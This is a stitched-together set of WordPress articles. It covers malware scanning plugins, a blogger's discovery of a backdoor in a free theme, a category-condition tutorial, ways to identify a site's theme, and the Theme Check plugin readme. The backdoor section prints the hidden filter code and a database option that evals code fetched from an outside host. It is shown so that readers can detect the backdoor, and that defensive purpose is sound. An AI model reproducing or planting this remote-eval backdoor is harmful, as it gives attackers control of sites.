Periodic checking of the site for malicious viruses is necessary; this is the first commandment of any self-respecting webmaster. Even if you use a clean Twenty Eleven theme, it is not a fact that over time it has not become infected either. This phenomenon can (and most often does) occur due to the fact that the WordPress engine itself was originally designed for online publishing. So it never hurts to check again and make a copy of the site and database.

For example, I (after some time, of course) made one conclusion for myself - you just need a good hoster, and your reservation problems will disappear by themselves. I don’t need to make backups of the database or the site now - the hoster does everything for me, and automatically. At any time, if you wish, you can order a copy of any section of your blog (and not only), download this copy, or restore the blog directly from the control panel. That is, I do not need to download a backup, everything happens automatically - backup, restore, etc. This is convenient because I can track, not just by the day, but by the hour, when a virus appeared on my blog and, accordingly, take measures to eliminate it.

I'll start with the good news - at least two plugins I've used give nice results detection and localization of malicious code. These are the AntiVirus and Exploit Scanner plugins. You won't believe how much bad code is on your blog! But do not take all the resulting information after checking as a dogma - many lines that these plugins detect actually do not carry anything bad in themselves. It's just that the plugin questions some lines, that's all. To verify this, manually check the fragments that the plugin has identified as malicious. So, when checking the plugin AntiVirus It turned out that even a simple call to function get_cache_file () is already considered suspicious by the plugin. So all the results of the checks will have to be tracked manually. But this, for example, is a really infected link, and it needs to be removed:

How do you know if it's a virus or if it's supposed to be? Everything is very simple - compare your clean template (if any), and compare it (file-by-file) with the one that is installed and has already undergone some changes. It is not necessary to make a comparison directly and literally, just use a search to check if your clean template contains the line that the plugin highlighted. If there is, click the "This is not a virus" button, and this line will not be taken into account during the next check.

And here is an example of the second plugin I tried - Exploit Scanner

As you can see, everything is much more neglected here. For me, this result was shocking. But that's not all. The plugin has such a function as checking . So, if you turn it on, it turns out that the blog should consist of text and a maximum of a couple of CSS tables. So, it seems to me that the author of the plugin obviously overdid it with security here. It's good that the plugin just shows the alleged infected fragments, and does not clean them.

After analyzing all the lines highlighted in yellow, you can easily detect malware (malicious code), well, what to do with it next is up to you. The cleaning method is still the same - compare the selected code with the site backup (see) and, if you find discrepancies, find out whether you did it yourself, or someone did it for you, which means that this is no longer good and may turn out to be virus. Even WordPress developers advise checking the site for malicious code with this particular plugin. But there are such harmless inserts, for example, in the body of an iframe, which the plugin can also detect as infected code. But in fact, without these lines, this section of your blog will not work correctly.

How can malware get into blog files at all, and what is it by definition? The word malware literally means - malicious software , from English malicious software. This is any software that can be used for unauthorized access to the site and its content. You probably imagine that for a trained average hacker, it will not be difficult to hack a site, especially after registration. After that, you can modify the content of the blog as you like - it would be education.

Malicious malware can also be inserted into plugins that you install from unknown source, and in scripts that you also sometimes take without checking, but trusting the author. The most harmless malware is a link to the author of some module that you have installed on the site. And if the author himself did not warn you that such a link exists, then this is already pure virus.

So, I installed on a test blog new theme, and after removing one harmless link to some kind of men's club in the basement of the site, it stopped opening at all, and an inscription appeared on the main one - "You have no right to delete links." Here's a free theme for you. You can read about how to tear out such left links.

Your database can also be used to run malicious code. Spammy links are also very often added to posts or comments. Such links are usually hidden when CSS help so that an inexperienced administrator does not see them, but search system distinguish them immediately. Of course, any antispam comes into play here, for example, the one that is licensed, checked and rechecked many times. The hacker can download files with image file extensions and add them to the code of your activated plugins. Therefore, even if the file does not have a php extension, the code in that file can be run.

There is another simple tool with which I started my acquaintance with malware - the Theme Authenticity Checker (TAC) plugin. It's lightweight and powerful enough, but it only checks your topics, even the ones that aren't active. It does not touch the rest of the directories, and this is its minus. Here's what I got from checking my current theme with this plugin:

Two warnings in the active topic, and nothing else. There is no malicious code. By the way, these are the links that I inserted myself on the advice of Google - to improve the quality of the snippet (display personal data, address of the organization, etc.). But this is only checking the theme files, and what is done in other directories, you will have to find out either with the help of other plugins or online services. For example, such a service (it deserves trust) as Yandex Webmaster or similar in Google. They have the function of checking any web resource for malicious inclusions, and they do it efficiently. But if this is not enough for you, then compare the results with the results on other services and draw conclusions.

For some reason, I want to believe Yandex, not plugins. Another good resource is http://2ip.ru/site-virus-scanner/. After checking one of my blogs, here's what I found:

Here you can also check individual files for malicious code if you have such doubts. In general, the service is good.

From all of the above, I would draw the following conclusions:

1. In order to prevent the appearance of malicious code, you must first of all use trusted services for downloading files - plugins, themes, etc.

2. Regularly make backup copies of everything that the site contains - databases, content, admin panel, including uploaded third-party files.

3. Enjoy updates offered by WordPress. They are at least virus-free, although not always functionally justified. But by updating, you thereby remove viruses that may be present.

4. Unused themes, plugins, images and files, delete without regret - this is another fallback for malware, which you may never guess.

5. Be sure to password-protect your FTP access, PhpAdmin login, admin panel, and in general, where no one but you should have access.

6. Try (even if this desire is as big as the sky) do not change or replace WordPress core files - developers know better what should work and how.

7. After detecting and removing viruses, change all passwords. I think you will have a great desire to make a password of 148 characters in different registers and with special characters. But don't get too carried away complex passwords, you can lose it, and then you have to restore everything, which is not very pleasant.

All these methods and components that I have described that will help you get rid of viruses, of course, are free, of course, almost home-made, and of course, do not give a 100% guarantee that your site will be cleaned of malicious inserts. Therefore, if you are already concerned about cleaning the blog, then it is better to contact professionals, for example, in the service Sucuri(http://sucuri.net/). Here your site will be carefully monitored, practical recommendations will be given, which will be sent to you by letter, and if you do not want to clean the site yourself, then specialists are at your service who will do everything in the best possible way within 4 hours:

Well, this is how my test blog looks like after monitoring, and this despite the fact that other methods (homebrew) always show different results. As you can see, the test is free, but if viruses are found, you should pay to remove them without harming the site (unless, of course, you are a blog cleaning guru from malware).

Let me emphasize once again that hackers are on the alert, viruses are constantly being upgraded, and it is impossible to keep track of everything on your own. All innovations are so carefully hidden and disguised that only the team can reveal them! professionals, not the self-taught blogger that many are. That's why manual detection and removal of malware is so ineffective: no experience - no result, but there is a virus. Use licensed programs and entrust the elimination of danger to professionals

Hello friends. Are you sure that the free WordPress template that you use for your websites and blogs is really safe and does not contain hidden threats and malicious code? Are you completely sure of this? Absolutely?)

You think they ran the template through, removed hidden links from it, and it's done. You periodically scan the site files with an antivirus, look into the Yandex webmaster tools in the Security tab and, with relief, you see a message there: “ No malicious code found on the site«.

That's what I thought too. I don't want to upset you, but...

Hidden Dangerous Code in Free WordPress Themes

This is the letter I received last week in the mail from my hosting. Recently, they have introduced a regular check of all site files for malicious content, and yet they found this content in me!

It all started with the fact that one day I went to my site and could not launch it - an abusive inscription about not found files with the php extension came out. Having tensed a little, I went to study the contents of the folder with the site on the hosting and immediately discovered a problem - my fuctions.php template file was renamed to functions.php.malware, which, as it were, ambiguously hinted - an antivirus or something like that worked here) Having entered the mail, I and found the above report from the hoster.

First of all, of course, I began to check this file, studied its contents, scanned it with all kinds of antiviruses, dozens of online virus scanning services, etc. - in the end, I didn’t find anything, everyone unanimously claimed that the file was completely safe. Of course, I expressed my doubts to the hoster, saying that you messed up something, but just in case, I asked them to provide a report on the discovery of a malicious piece of code.

And this is what they told me

I went to google information about this code and seriously thought about it ...

How to find a piece of malicious code in a template

As it turned out, this is a really non-trivial trick that allows interested parties to transfer data to your site and change the content of pages without your knowledge! If you are using a free template, then I highly recommend checking your functions.php for the following code:

add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content)(
global $post;
if(is_single() && ( [email protected](get_option('blogoption'))) !== false)(
return $co;
) else return $content;
}

Even with my very shallow knowledge of php, it can be seen that a certain filter is being created that is tied to the global variable post and content, which are responsible for displaying content only on blog post pages (is_single condition). Already suspicious isn't it? Well, now let's see what this is going to display given code on our website.

The interesting blogoption requested in the database also looks very suspicious. We go into our MySQL database and find a table there called wp_options, if you did not change the prefixes, then it will look like this by default. And in it we find a line of interest to us called blogoption

What a beauty! We see the following option

return eval(file_get_contents('http://wpru.ru/aksimet.php?id='.$post->ID.'&m=47&n'));

Those. us from a certain site (moreover, Russian, mind you) return content that can carry anything! Any number of links, malicious codes, altered text, etc. The site itself, when accessing it, gives out a 403 access error, which is not surprising. Of course, I also removed this option from the database.

According to the information from the victims, exactly the content of your article is usually returned with only one modification - instead of any dot "." an open link was masked in the text! And by the way, this option is written to the database when the template itself is installed, and then the code that does this safely self-destructs. And I lived with such rubbish for two years, and not a single antivirus or service revealed this threat to me for all that time. To be honest, I didn’t notice if this technique ever worked for me, or if my security plugin blocked this possibility (or maybe one of the WordPressa updates closed this hole), but it’s still unpleasant.

Moral of the free cheese

How do you like the sophistication of our "translators" of templates (or those who post them in their catalogs)? It’s not for you to cut out links from the footer) It’s a pity I don’t remember where I downloaded my template from, it was a long time ago, otherwise I would have written a couple of affectionate ones. And if at that time I had the same experience that I have now, then I would definitely not use a free template, or, in extreme cases, would not download from unknown sources!

It’s easier to buy some official premium template for 15-20 bucks on the same one and live in peace knowing that there are no holes and encrypted links in it, and even if there are vulnerabilities, the developers will definitely release an update in which these holes will be closed. ( By the way, Artem recently published an article where he just talks about premium templates and even distributes promotional codes for brutal discounts for those who are interested)

Imagine that you are displaying records and you need to change appearance depending on the rubric. For example, you have a block "ABOUT THE AUTHOR" that displays information about the author of an article, but you do not want to see this block, for example, under posts from a category in which this is not necessary. You can also disable commenting in certain categories, thumbnails, and so on. It all depends on your needs and fantasies. Personally, I very often use this condition.

To filter entries depending on the category, the function will help - in_category(). This function checks whether the current or given entry belongs to the desired category, well, or to several categories. Most often, this function is output in a file single.php, because he is responsible for displaying records.

The simplest way to use the function would look something like this. We add this code to the single.php file, if necessary, enclose the tags in PHP.

PHP tags look like this:

If your theme uses mostly HTML code, then paste the code below without changes. If PHP is used mainly, then the tags in which the code is enclosed can be removed.

In this code, we set a condition that if the current post belongs to a category with ID - 12, then something needs to be displayed. Whatever you want, add inside the curly braces. It should be PHP code, if it is difficult and you need to add HTML code, then break the code with the same PHP tags and the code will become like this:

//here we write the usual HTML code or just text.

To determine the id of the categories, you need to go to the list of categories in the admin panel and hover over the desired one. At the bottom of the browser window, on the right side, a link will appear inside which will be something like ID=1, that is, the id of this category is 1.

If you need to specify several categories, then specify them separated by commas. You may also need to create an "IF - THEN" condition, then the code will be something like this:

Imagine that you need to display a post thumbnail in rubric 12, and the first picture from the text in other posts from other rubrics. Does this happen and how to do it? With the code above. You can read about the output of the first image from the record in the article -

Now I want to show one more feature that can be added to this function. It happens that rubrics have subcategories, that is, child categories. And if the entry belongs to one of the subcategories, then the condition will bypass it. If this is what you need, then you can not touch anything, but if, nevertheless, the condition should work for subheadings, then you need to add an addition to the condition. To begin with, you need to add the following part to the condition itself - || post_is_in_descendant_category(12). This is a call to our new function that will check for subcategories. The finished code will look like this:

In order for a new function to start working, you need to add the code for this function itself, that is, you need to write it. To do this, find in the folder with the active theme the file functions.php, which contains user-defined functions. If you are not familiar with PHP, you need to add code to the very end of the file, but if there is a closing PHP tag - ?> , then you need to add before it. The code itself looks like this:

Function post_is_in_descendant_category($cats, $_post = null) ( foreach ((array) $cats as $cat) ( // get_term_children() accepts integer ID only $descendants = get_term_children((int) $cat, "category"); if ($descendants && in_category($descendants, $_post)) return true; ) return false; )

If everything is done correctly, then your condition will select posts for certain categories and their subcategories.

A long time ago I began to write this article, but all hands did not reach to finish, then one, then the second interrupted. Finally, the article is over and perhaps many will help solve the issue.

That's all, thanks for your attention. 🙂

Have you ever wondered what theme a particular site uses?

Often, in search of the perfect theme, we look at other completed projects to find something similar or to make our site on the same theme, only with our own individual design.

In this tutorial, we'll show you the tools and tricks you can use to find out what theme this WordPress site is using.

Method 1: IsItWP Verification Site

The easiest way is to go to isitwp.com and check out the site you are interested in.

This is an online tool that will show you what theme WordPress is using, and if WordPress is being used on the site at all.

If the site is running WordPress, IsItWP will try to find out the name of the current theme.

It will also try to find out what active plugins are used on the site:

If you're lucky and it's not a custom or child theme, then IsItWP will give you the name of the theme, and you can search for that theme further.

Method 2. Define manually

Sometimes site owners or developers change the name of the native WordPress themes. In this case, tools like IsItWP won't be able to help you.

But even so, there may still be various hints in the site code that will help you figure out what kind of theme is installed.

Let's see.

Every WordPress theme must have a style.css. This file contains a header inside, which, as a rule, indicates the theme name, theme author, version, and theme developer site. It also specifies other css templates that the theme uses.

To find this file, first you need to go to the site itself. Right-click somewhere on the main page and navigate to source code view ( View Page Source).

The source code of the main page of the site will open in the browser in a new tab.

Now you need to find a line of code that looks something like this:

To make things easier, you can search this tab with the snippet code " themes". This is part of the directory where the style.css.

Thus, you will find the path where the style.css file lies, and you can open this file directly in the browser in a new tab.

At the top of style.css there will be a header with a heading (which we talked about above). This is service information about the theme. It looks something like this:

/* Theme Name: Theme Name Theme URI: https://example.com Author: ThemeAuthorName Author URI: https://example.com Description: My Theme is a flexible WordPress theme designed for portfolio websites Version: 1.1.47 License: GNU General Public License v2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html Text Domain: hestia Tags: blog, custom-logo, portfolio, e-commerce, rtl-language-support , post-formats, grid-layout, one-column, two-columns, custom-background, custom-colors, custom-header, custom-menu, featured-image-header, featured-images, flexible-header, full-width -template, sticky-post, theme-options, threaded-comments, translation-ready */

From this block you can find out the name of the topic and the address of the developer. Then it remains only to find this topic on the Internet.

Method 3. How to find the parent theme

Many sites use child themes to customize the look. And this is quite the right approach.

In this case, if you found the file style.css from a child theme, its header will contain information about the parent theme:

/* Theme Name: My Child Theme Description: Just a child theme Author: Peter Smith Author URL: Write here the author's blog or website url Template: hestia Version: 1.0 License: GNU General Public License v2 or later License URI: http ://www.gnu.org/licenses/gpl-2.0.html Text Domain: my-child-theme */

In the example above, the parameter " Template", which means that the parent theme "Hestia" is used for this child theme.

You can also learn about the parent theme from the source code described in Method 2. In the code, you will find a reference to the style.css file not only from the child theme, but also from the parent theme.

But do not forget that the developer could try and change all the headers for style.css to his own, in which case it would be very difficult to determine the original theme.

The theme check plugin is an easy way to test your theme and make sure it’s up to spec with the latest theme review standards. with it, you can run all the same automated testing tools on your theme that WordPress.org uses for theme submissions.

The tests are run through a simple admin menu and all results are displayed at once. This is very handy for theme developers, or anybody looking to make sure that their theme supports the latest WordPress theme standards and practices.

How to enable trac formatting

The Theme Review team use this plugin while reviewing themes and copy/paste the output into trac tickets, the trac system has its own markup language.
To enable trac formatting in Theme-Check you need to define a couple of variables in wp-config.php:
TC_PRE and TC_POST are used as a ticket header and footer.
Examples:
define('TC_PRE', 'Theme Review:[]
- Themes should be reviewed using "define(\'WP_DEBUG\', true);" wp-config.php[]
— Themes should be reviewed using the test data from the Theme Checklists (TC)
——
‘);

Define("TC_POST", "Feel free to make use of the contact details below if you have any questions, comments, or feedback:[] [] * Leave a comment on this ticket[] * Send an email to the Theme Review email list[] * Use the #wordpress-themes IRC channel on Freenode.");

If either of these two vars are defined a new trac tickbox will appear next to the Check it! button.

Frequently asked Questions

The version number is the date of the revision of the guidelines used to create it.

Why does it flag something as bad?

It's not flagging "bad" things, as such. The theme check is designed to be a non-perfect way to test for compliance with the Theme Review guidelines. Not all themes must adhere to these guidelines. The purpose of the checking tool is to ensure that themes uploaded to the central WordPress.org theme repository meet the latest standards of WordPress themes and will work on a wide variety of sites.

Many sites use customized themes, and that's perfectly okay. But themes that are intended for use on many different kinds of sites by the public need to have a certain minimum level of capabilities, in order to ensure proper functioning in many different environments. The Theme Review guidelines are created with that goal in mind.

This theme checker is not perfect, and will never be. It is only a tool to help theme authors, or anybody else who wants to make their theme more capable. All themes submitted to WordPress.org are hand-reviewed by a team of experts. The automated theme checker is meant to be a useful tool only, not an absolute system of measurement.

This plugin does not decide the guidelines used. Any issues with particular theme review guidelines should be discussed on the Make Themes site .

Reviews

This is a great plugin for everyone that really likes to develop a WordPress theme and make successfully tests for the basic WordPress standards. The errors separated in "Required", "Warning", "Recommended" and "info". Also provide the basic information of this error and makes you understand where the problem is.

Members and Developers

Theme Checker is an open source project. The following contributors contributed to the development of the plugin:

Changelog

20190801.1

• Fix missing nonce and nonce check on admin page. props Steven Stern for reporting the issue to the plugins team. Though this is technically a CSRF, there is no vulnerability arising from it, as the only thing that could be done with the form is to scan a theme.

20190208.1

• Add new styles for the block editor. See https://meta.trac.wordpress.org/ticket/3921

20160523.1

• Fix for theme-names with dashes in them
• Comments stripping changes
• Many changes by the theme review team and others. See Github for full change list.

20151211.1

• Full sync with Github and all the changes that have happened there.
• Release for 4.4 deprecated functions.

20140929.1

• Added new checks and updates from Frank Klein at Automattic. Thanks Frank!
• Updated deprecated function listings
• Customizer check: All add_settings must use sanitization callbacks, for security
• Plugin territory checks: Themes must not register post types or taxonomies or add shortcodes for post content
• Widgets: Calls to register_sidebar must be called from the widgets_init action hook
• Title: tags must exist and not have anything in them other than a call to wp_title()
• CDN: Checks for use of common CDNs (recommended only)
• Note: Changed plugin and author URIs due to old URIs being invalid. These may change again in the future, the URIs to my own site are temporarily only.

20131213.1

• Corrected errors not being displayed by the plugin and it incorrectly giving a "pass" result to everything.

20131212.1

• Updated for 3.8
• Most files have changed for better I18N support, so the language files were removed temporarily until translation can be redone.

20121211.1

• Updated for 3.5
• Remove PayPal button.

20110805.1

• TimThumb checks removed.
• Screenshot now previewed in results, with filesize and dimensions.

20110602.2

• New file list functions hidden folders now detectable.
• Better fopen checks.
• Tim Thumb version bump

20110602.1

• DOS/UNIX line ending style checks are now a requirement for proper theme uploading.
• Timthumb version bump
• Several fixes reported by GaryJ
• 3.2 deprecated functions added

20110412.1

• Fix regex's
• Added check for latest footer injection hack.
• Fix tags check to use new content function correctly
• Sync of all changes made for wporg uploader theme-check.
• Updated checks post 3.1. added screenshot check to svn.
• Fix links check to not return a false failure in some cases
• rm one of the checks that causes problems on wporg uploader (and which is also unnecessary)
• Move unneeded functions out of checkbase into main.php.
• Minor formatting changes only (spacing and such)
• Add check for wp_link_pages() + fix eval() check

20110219.2

• Merged new UI props Gua Bob
• Last tested theme is always pre-selected in the themes list.
• Fixed php error in admin_menu.php

20110219.1

• See commit log for changes.

20110201.2

• UI bug fixes forum post props Mamaduka.
• Textdomain checks for twentyten and no domain.
• Fix div not closing props Mamaduka.

20110201.1

• i18n working
• sr_RS de_DE ro_RO langs props Daniel Tara and Emil Uzelac.
• Child theme support added, checks made against parent AND child at runtime.
• Trac formatting button added for reviewers.

20101228.3

• Last revision for 3.1 (hopefully)
• Chips suggestion of checking for inclusion of searchform.php (not
  perfect yet, need more examples to look for).
• add_theme_page is required, all others flagged and displayed with line
  numbers.
• Mostly internationalized, needs translations now.
• Bug fixes.

20101228.2

• Added menu checking.
• ThemeURI AutohourURI added to results.
• Lots of small fixes.
• Started translation.

20101228.1

• Fix embed_defaults filter check and stylesheet file data check.

20101226.1

• Whole system redesign to allow easier synching with WordPress.org uploader. Many other additions/subtractions/changes as well.
• WordPress 3.1 guidelines added, to help theme authors ensure compatibility for upcoming release.

20101110.7

• Re-added malware.php checks for fopen and file_get_contents (INFO)
• fixed a couple of undefined index errors.

20101110.4_r2

• Fixed Warning: Wrong parameter count for stristr()

20101110.4_r1

• Added echo to suggested.php

20101110.4

• Fixed deprecated function call to get_plugins()

20101110.3

• Fixed undefined index.

20101110.2

• Missing< in main.php
• Added conditional checks for license.txt OR License tags in style.css
• UI improvements.